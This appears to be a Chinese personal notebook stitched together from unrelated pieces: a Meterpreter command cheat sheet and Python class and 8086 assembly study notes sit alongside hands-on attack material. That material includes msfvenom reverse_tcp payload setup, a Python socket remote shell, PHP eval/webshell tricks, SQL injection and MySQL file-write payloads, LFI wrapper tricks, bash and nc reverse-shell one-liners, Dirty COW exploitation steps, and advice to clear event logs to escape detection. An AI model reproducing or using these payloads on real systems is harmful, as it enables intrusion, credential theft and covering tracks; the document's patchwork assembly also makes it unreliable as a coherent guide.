Metasploit工具Meterpreter的命令速查表
image001

第1步:核心命令

在其最基本的使用,meterpreter 是一个 Linux 终端在受害者的计算机上。这样,我们的许多基本的Linux命令可以用在meterpreter甚至是在一个窗口或其他操作系统。

这里有一些核心的命令可以用在meterpreter。

? – 帮助菜单

background – 将当前会话移动到背景

bgkill – 杀死一个背景 meterpreter 脚本

bglist – 提供所有正在运行的后台脚本的列表

bgrun – 作为一个后台线程运行脚本

channel – 显示活动频道

close – 关闭通道

exit – 终止 meterpreter 会话

help – 帮助菜单

interact – 与通道进行交互

irb – 进入 Ruby 脚本模式

migrate – 移动到一个指定的 PID 的活动进程

quit – 终止 meterpreter 会话

read – 从通道读取数据

run – 执行以后它选定的 meterpreter 脚本

use – 加载 meterpreter 的扩展

write – 将数据写入到一个通道

第2步:文件系统命令

cat -读取并输出到标准输出文件的内容

cd -更改目录对受害人

del -删除文件对受害人

download-从受害者系统文件下载

edit-用 vim编辑文件

getlwd -打印本地目录

getwd -打印工作目录

lcd -更改本地目录

lpwd -打印本地目录

ls -列出在当前目录中的文件列表

mkdir -在受害者系统上的创建目录

pwd -输出工作目录

rm -删除文件

rmdir -受害者系统上删除目录

upload-从攻击者的系统往受害者系统上传文件

第 3 步: 网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。

portfwd -端口转发

route -查看或修改受害者路由表

第 4 步: 系统命令

clearav -清除了受害者的计算机上的事件日志

drop_token -被盗的令牌

execute-执行命令

getpid -获取当前进程 ID (PID)

getprivs -尽可能获取尽可能多的特权

getuid -获取作为运行服务器的用户

kill -终止指定 PID 的进程

ps -列出正在运行的进程

reboot-重新启动受害人的计算机

reg -与受害人的注册表进行交互

rev2self -在受害者机器上调用 RevertToSelf()

shell -在受害者计算机上打开一个shell

shutdown-关闭了受害者的计算机

steal_token -试图窃取指定的 (PID) 进程的令牌

sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

第 5 步: 用户界面命令

enumdesktops -列出所有可访问台式机

getdesktop -获取当前的 meterpreter 桌面

idletime -检查长时间以来,受害者系统空闲进程

keyscan_dump -键盘记录软件的内容转储

keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件

keyscan_stop -停止键盘记录软件

screenshot-抓去 meterpreter 桌面的屏幕截图

set_desktop -更改 meterpreter 桌面

uictl -启用用户界面组件的一些控件

第 6 步: 特权升级命令

getsystem -获得系统管理员权限

第 7 步: 密码转储命令

hashdump -抓去哈希密码 (SAM) 文件中的值

run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好。

请注意 hashdump 会可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。查找更多关于那些在我即将举行的 meterpreter 脚本作弊。

第 8 步: Timestomp 命令

timestomp -操作修改,访问,并创建一个文件的属性

‍‍‍‍‍‍‍Clearev:‍‍‍‍‍‍‍‍‍‍这个命令很重要!如果你不想被查水表,当你对目标系统测试后,一定要输入‍‍clearev命令。这个命令可以清除系统,软件之类的所有登陆信息。目前我还没发现能够恢复这些登陆信息方法,所以这个指令很有用。‍‍‍‍‍‍

keyscan_start安装键盘窃听器

keyscan_dump导出活跃桌面的键盘记录

msfvenom -p payload windows/x64/meterpreter/reverse_tcp lhost=服务器IP lport=监听端口 -o /home/1.exe

msf选择 exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
设置同样的host和port 监听等待shell返回

需求:
自备服务器一台(我用的是vultr) //debian

编辑源文件加入kali官方源
/etc/apt/sources.list

Kali

deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib

保存后
apt-get update

安装postgresql数据库
apt-get install postgresql
1.PNG

进入postgresql数据库
su - postgres -c "psql"
修改密码
alter user postgres with password '新密码'
q 退出postgresql

安装msf
apt-get install metasploit-framework

创建postgresql用户和数据库
create user msf with password 'msfadmin' nocreatedb;
create database msf with owner=msf;

开启msf
msfconsole
链接数据库
db_connect 创建用户@密码/127.0.0.1/数据库名

kali2.0
找到ro 改为rw single init=/bin/sh

redhat7
在UTF-8末尾加上 rd.break console=tty1
重新挂在sysroot目录为可读写 mount -o remount,rw /sysroot
chroot sysroot/
passwd root

touch /.autorelabel

urllib库有4个模块
urllib.request,urllib.error,urllib.parse,urllib.robotparser

发起请求使用urlopen
如果请求中有带有header字段 可以使用urllib.requests.Request(url, data=None, headers={}, origin_req_host=None, unverifiable=False, method=None)

其中data数据要使用btyes
data={'cmd':'var_dump(file_get_contents("./flag"));'}
//data=btyes(urllib.parse.urlencode(data),encoding='utf8')
url=urllib.request.Request(url,data=data)
res=urllib.request.urlopen(url)

测试代码

coding:utf-8

import urllib.request
import urllib.parse

for i in range(0,254):

head={
    'client-ip':'127.0.0.1',
    'User-Agent':'aab'

}
url='http://127.0.{x}.1/test.php'.format(x=str(i))
data={'cmd':'var_dump(file_get_contents("./flag.txt"));'}
data=bytes(urllib.parse.urlencode(data),encoding='utf8')
response=urllib.request.Request(url=url,data=data,headers=head)
res=urllib.request.urlopen(response)
print(res.read().decode()+url)

客户端:

coding:utf-8

from socket import *

c=socket(AF_INET,SOCK_STREAM)
s=('172.16.20.91',6666)
c.connect(s)
while True:

shell=input('OS Shell>')
if not shell:
    c.close()
    break
c.send(shell.encode())
data=c.recv(4096)
print(data.decode('utf-8'))

服务端:

coding:utf-8

from socket import *
import os

s=socket(AF_INET,SOCK_STREAM)

c=('172.16.20.91',6666)

s.bind(c)
s.listen(5)

c,addr=s.accept()
while True:

try:
    data=c.recv(4096)
    if not data:
        c.close()
        break
    cmd=os.popen(data.decode()).read()
    c.send(cmd.encode('utf-8'))
except:
    pass

常见的eval和assert就不举例了

preg_replace /e修饰符模式 php7给移除了

preg_replace('/aaa/e',$_GET['a'],'aaa');

create_function 匿名函数
$a =create_function('',$_GET['a']); //注意$a后面一定要有一个空格
$a();

array_map

<?php
$a=$_GET['a'];
$b=$_GET['b'];
$arr[1]=$b;
$cc=array_map($a,$arr);
?>

call_user_func()

<?php
call_user_func('assert',$_GET['a']);
?>

call_user_func_array()

<?php
$a[0]=$_GET['a'];
call_user_func_array('assert',$a);
?>

array_filter

  array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
<?php
$a[0]=$_GET['a'];
$b=$_GET['b'];
array_filter($a,$b);
?>

首先python-nmap模块需要先安装nmap 该模块调用的是nmap

import nmap
nm=nmap.PortScanner() //实例化
nm.scan('地址','端口','扫描方法') //nm.scan('192.168.72.136','22,21,80','-sV')

nm.scan('地址',arguments='-n -sP -PE -PA21,23,80,3389') //等同于上面的
nm.command_line() //显示当前扫描参数
nm.all_hosts() //返回nmap扫描的主机清单,格式为列表类型
nm.all_protocols() //返回当前所有扫描方式 //tcp

w //匹配一个字母或数字
d //匹配一个数字
s//匹配一个空格
要匹配变长的字符
用*表示任意字符(包括0个),用+表示至少一个字符,用?表示0个或1个字符,用{n}表示n个字符,用{n,m}表示n-m个字符

要做更精确地匹配,可以用[]表示范围,比如

[0-9a-zA-Z_]可以匹配一个数字、字母或者下划线

^表示行开头 $表示行结尾

(P|p)ython 可以匹配到Python和Python |相当于选择器 ()是分组

贪婪模式

正则匹配默认是贪婪匹配 也就是匹配尽可能多的字符

最后需要特别指出的是,正则匹配默认是贪婪匹配,也就是匹配尽可能多的字符。举例如下,匹配出数字后面的0:

re.match(r'^(d+)(0*)$', '102300').groups()
('102300', '')

由于d+采用贪婪匹配,直接把后面的0全部匹配了,结果0*只能匹配空字符串了。

必须让d+采用非贪婪匹配(也就是尽可能少匹配),才能把后面的0匹配出来,加个?就可以让d+采用非贪婪匹配:

re.match(r'^(d+?)(0*)$', '102300').groups()

('1023', '00')

使用type()获取

class test(object):

pass

aa=test()
print(type(aa)) //<class '__main__.test'> 返回对应的Class类型

isinstance()

isinstance(aa,test) //true 他也可以判断父类

使用dir()
dir用于获得一个对象的所有属性和方法

案例1:

过滤:
$filter = "union|and|updatexml|where|like|left|,| |".urldecode('%09')."|".urldecode('%0a')."|".urldecode('%0b')."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."|right";

这里主要考察盲注可以看到过滤了很多空白字符这里一律用//代替 过滤了where(盲注时用于指定条件) 用having**代替
其实最主要的是他还过滤了逗号 这里if不能使用,因为表达式中没有代替,字符的其他表达式 (limit substr mid 都可以用from(x)for(x)来代替)

这里用case when then else end代替

1.png

1_1.png

3.png

4.png

这里是猜字段

最后放上脚本
testtt.png

在Class内部,可以有属性和方法,而外部代码可以通过直接调用实例变量的方法来操作数据,这样,就隐藏了内部的复杂逻辑。

但是,从前面Student类的定义来看,外部代码还是可以自由地修改一个实例的name、score属性:

bart = Student('Bart Simpson', 59)
bart.score
59
bart.score = 99
bart.score

99

如果要让内部属性不被外部访问,可以把属性的名称前加上两个下划线__,在Python中,实例的变量名如果以__开头,就变成了一个私有变量(private),只有内部可以访问,外部不能访问,所以,我们把Student类改一改:

class Student(object):

def __init__(self, name, score):
    self.__name = name
    self.__score = score

def print_score(self):
    print('%s: %s' % (self.__name, self.__score))

改完后,对于外部代码来说,没什么变动,但是已经无法从外部访问实例变量.__name和实例变量.__score了:

bart = Student('Bart Simpson', 59)
bart.__name

Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'Student' object has no attribute '__name'

这样就确保了外部代码不能随意修改对象内部的状态,这样通过访问限制的保护,代码更加健壮。

但是如果外部代码要获取name和score怎么办?可以给Student类增加get_name和get_score这样的方法:

class Student(object):

...

def get_name(self):
    return self.__name

def get_score(self):
    return self.__score

如果又要允许外部代码修改score怎么办?可以再给Student类增加set_score方法:

class Student(object):

...

def set_score(self, score):
    self.__score = score

练习后的代码

coding:utf-8

class Student(object):

def __init__(self,name,gender):
    self.name=name
    self.__gender=gender

def getgen(self):
    return(self.__gender)

def setgen(self,gen):
    self.__gender=gen

aa=Student(11,150)
print(aa.getgen())

aa.setgen(700)

print(aa.getgen())

python中定义类使用Class

class后面紧接着是类名,即Student,类名通常是大写开头的单词,紧接着是(object),表示该类是从哪个类继承下来的,继承的概念我们后面再讲,通常,如果没有合适的继承类,就使用object类,这是所有类最终都会继承的类。

定义好了Student类,就可以根据Student类创建出Student的实例,创建实例是通过类名+()实现的:

bart = Student()
bart
<__main__.Student object at 0x10a67a590>
Student

<class '__main__.Student'>

由于类可以起到模板的作用,因此,可以在创建实例的时候,把一些我们认为必须绑定的属性强制填写进去。通过定义一个特殊的__init__方法,在创建实例的时候,就把name,score等属性绑上去:

class Student(object):

def __init__(self, name, score):
    self.name = name
    self.score = score

案例:
class Student(object):

def __init__(self, name, score):
    self.name = name
    self.score = score

def print_score(self):
    print('%s: %s' % (self.name, self.score))

类中定义函数第一个参数必须为self

MYSQL在不知道什么版本之后加上了secure_file_priv这B东西 默认为OFF 要开了才能读文件 而且这个值 不能用sql语句修改

怎么修改呢 在my.ini里面添加上secure_file_priv= 才行

window在你的mysql安装目录下面的my.ini
linux在/etc/my.cnf

为了做实验 我开了

mysql> show global variables like '%secure%';
Variable_nameValue
secure_authOFF
secure_file_priv

2 rows in set (0.00 sec)

load_file读文件

用hex编码
mysql> select hex(load_file('e:/1.txt'))

-> ;
hex(load_file('e:/1.txt'))
313233

1 row in set (0.00 sec)

mysql> select load_file('e:/1.txt');
load_file('e:/1.txt')
123

1 row in set (0.00 sec)

写文件

into outfile

mysql> select 'a' into outfile 'e:/26.txt'

-> ;

Query OK, 1 row affected (0.03 sec)

into dumpfile

mysql> select '2' into dumpfile 'e:/225.txt'

-> ;

Query OK, 1 row affected (0.02 sec)

日志写文件
general_log

首先查看是否开启日志功能

show variables like '%general%'

开启日志记录功能 set global general_log=on; set global general_log_file='' //注意 window可以设置任意路径 而linux只能在 tmp和var目录下

慢日志

set global slow_query_log=on;
set global slow_query_file=''; //linux也是只能在tmp和var下面

Order by注入

语句为:select * from XXX order by $_GET['xxx'];

构造分盲注和报错注入

select * from XXX order by if(1=1,table_name,(select 1 from (select sleep(5))as b)) //查询成功直接返回 否则延时5秒
select *from XXX order by if(1=1,table_name,BENCHMARK(5000000,sha(1))) //这个用BENCHMARK代替sleep 但是好像有些mysql版本不能这样写

报错: //前提是要开启错误回显才行
select * from XXX order by (updatexml(1,concat(0x7e,(user()),0x7e),1))
select * from XXX order by (extractvalue(1,concat(0x7e,(version()),0x7e)))

From注入

可以结合 order by 来注入

select * from XXX order by 盲注 或 报错

可以使用联合注入来注入

select * from XXX union select x,x,x %23

limit注入

select * from XXX order by xxx limit 0,1 $_GET['xx']

select * from XXX order by xxx limit 0,1 procedure analyse((updatexml(1,concat(0x7e,(user()),0x7e),1)),1)%23

段地址x16+偏移地址=物理地址 本质含义

基础地质+偏移地址=物理地址
比如说 学校 体育馆 图书馆在同一条笔直的单行路上 学校位于路的起点
你问我怎么去图书馆 我告诉你两种方式:
从学校走2826m到图书馆 这里2826可以理解为图书馆物理地址
从学校走2000m到体育馆 在从体育馆走826m到图书馆 这里826m相当于偏移地址

比喻2: 你问我图书馆怎么走 我写在一张可以容纳3位数的纸条 很不巧 写不下2826
但是可以写 200 826这样两张纸条 假设我们先前对这种情况有约定 你得到纸条后 做运算 200x10+826=2826

段的概念

内存并没有分段 段的划分来自cpu 由于8086cpu用 基础地质(段地址x16)+偏移地址=物理地址的方式给出内存单元的武力值 使得我们可以用分段的方式来管理内存

用段地址x16 定位段的起始地址(基础地址),用偏移地址定位段中的内存单元
结论:cpu可以用不同的段地址和偏移地址形成同一个物理地址
比如 CPU要访问21F60H 则它给出段地址SA和偏移地址EA满足SAX16+EA=21F60H

如果定一个段地址 仅通过变化偏移地址来进行寻址 最多可以定位多少个内存单元
结论:偏移地址16位 变化0~FFFFH 仅用偏移地址来寻址最多可寻64KB个内存单元

段寄存器

8086CPU在访问内存的时候需要相关部件提供内存的段地址和偏移地址 送入地址加法器合成物理地址 这里需要看一下 是什么部件提供段地址 8086CPU有4个段寄存器 CS DS SS ES 当8086要访问内存的时候由这4个段寄存器提供内存单元的段地址

CS和IP

CS和IP是8086CPU中两个最关键的寄存器 他指示了CPU当前要读取的指令和地址 CS为代码段寄存器 IP为指针寄存器
在任意时刻 设cs中内容为M IP内容为N 8086CPU将从内存MX16+N单元开始 读取一条指令并执行

修改CS,IP指令

在CPU中 程序员能够用指令读写的部件只有寄存器 程序员可以通过改变寄存器中的内容实现对CPU的控制 CPU从何处执行指令是由CS IP中的内容决定的 程序员可以通过改变CS IP中的内容来控制CPU执行目标指令

mov指令不能设置CS IP的值 原因很简单 8086CPU没有提供这样的功能 能够修改CS IP的内容的指令被称为转移指令
我们现在介绍一个最简单的可以修改CS IP的指令:jmp指令

若想同时修改CS IP内容 可以使用 jmp 段地址:偏移地址的指令完成
jmp 2AE3:3 段地址是2AE3 偏移地址是0003H

若只想修改IP内容 可用形如jmp某一合法寄存器的指令完成 如
jmp ax, jmp bx,
jmp 某一合法寄存器 指令的功能为:用寄存器中的值修改IP jmp ax含义就好像mov IP,ax

代码段

一个典型CPU有 运算器 控制器 寄存器 等器件构成,这些器件靠内部总线相连。 内部总线实现cpu内部各个器件之间的联系 外部总线实现cpu和主板上其他器件的联系
运算器进行信息处理
寄存器进行信息存储
控制器控制各器件进行工作
内部总线连接各种器件 在他们之间进行数据传送

cpu中寄存器是程序员用以 指令读写的部件 程序员通过改变各种寄存器中内容实现对cpu的控制

通用寄存器

8086CPU 所有寄存器都是16位 可以存2个字节 AX BX CX DX 这4个寄存器通常用来存放一般性数据 被称为通用寄存器

8086 cpu的AX BX CX DX 这四个寄存器都可以分为两个可独立使用8位寄存器来用
AX分为高8位AH 低8位 AL
BX分为高8位BH 低8位 BL
CX分为高8位CH 低8位 CL
DX分为高8位DH 低8位 DL

字在寄存器中的存储

8086cpu可以一次性处理以下两种尺寸的数据

字节 byte 一个字节由8个bit组成 可以存在8位寄存器中
字 word 一个字由2个字节组成 这两个字节分别称为这个字的高位和低位字节

一个字可以存在一个16位寄存器中 这个字节高位字节和低位字节自然就存在这个寄存器高8位和低8位

几条汇编指令

通过汇编指令控制cpu进行工作

mov ax,18 //将18送入寄存器AX 高级语言里面等价于AX=18
mov ah,78 //将78送入寄存器AH 高级语言等价于AH=78
add ax,8 //将寄存器AX数值加上8 高级语言 AX=AX+8
mov ax,bx //将寄存器BX中的数据送入寄存器AX 高级语言AX=BX
add ax,bx //将AX将BX中的数值相加结果存在AX中 高级语言AX=AX+BX

汇编语言发展至今 有以下3类指令组成

汇编指令:机器码的助记符

伪指令:没有对应的机器码

其他符号:如+ - * /等

存储器 //内存

指令和数据 //指令和数据是应用上的概念 在内存或者硬盘中 指令和数据没有任何区别 都是二进制信息
cpu在工作时把有的信息看作指令 有的信息看作数据

存储单元 //存储器被画风为若干个存储单元

地址总线 //cpu通过总线来制定存储器单元 可见地址总线上能传送多少个不同的信息 cpu就可以对多少个存储单元进行寻址

数据总线 //数据总线宽度决定了cpu和外界数据传输的速度

控制总线 //cpu对外部器件的控制是通过控制总线来进行的

总结//地址总线宽度决定了cpu的寻址能力 数据总线宽度决定了cpu与其他器件进行数据传送的数据量 控制总线的宽度决定了cpu对系统中其他器件的控制能力

内存地址空间 // 我们用汇编语言编写博客的时候 必须要从cpu的角度考虑问题 对cpu来讲 系统中的所有存储器中的存储单元都处于一个统一的逻辑存储器中 它的容量受cpu寻址地址的限制 这个逻辑存储器既是我们所说的内存地址空间

命令执行函数大全:

exec()
system()
passthru()
pcntl_exec()
popen()
proc_open()
shell_exec()
dl() //该函数外部引用dl库
`` //也可以

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
但是如果读.php格式的话会不显示 默认是执行了

php:// 不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include , php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
常见用法
php://filter/read/convert.base64-encode/resource=

zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名] //此处经过测试相对路径是不可行,所以只能用绝对路径
//zip://压缩包#一句话木马

phar:// 该参数用于解压压缩包参数 不管后缀是什么 都当成压缩包解压 用法 phar://压缩包.jpg/一句话木马.php
php>=5.3的时候压缩包协议必须是zip rar不行 将木马文件压缩后,改为其他任意格式的文件都可以正常使用

NC
ncat常用参数
-v //显示详细信息
-l //作为服务器监听
-p //指定端口
-c //连接后指定反弹的shell 比如说-c /bin/sh
-e //连接后执行指定脚本 -e /bin/sh
-t //telnet 模式

客户端连接服务端
ncat IP 端口号
//另外说一下在window下的telnet默认是23端口 如果靶机填23端口,反弹sh 是没有回显的 具体原因不知道

bash

bash -i >& /dev/tcp/你的客户端IP/客户端监听的端口/ 0>&1 //例子 bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
本地监听
nc -lvvp 8080

nc 客户端被动监听 服务器连接反弹shell
客户端
nc -lvvp 6666

服务端
nc IP 端口 -e /bin/sh //反弹shell

该漏洞影响所有 Linux Kernel >= 2.6.22的版本。
2.6.22是 2007年发布的版本,也就是说这个漏洞几乎影响 2007以后的所有版本。

poc地址

操作流程具体是:

uname -a查看内核版本
1.png

下载dirty.c文件

2.png

编译

3.png

执行

4.png

登陆

5.png

主要就是修改了passwd文件

6.png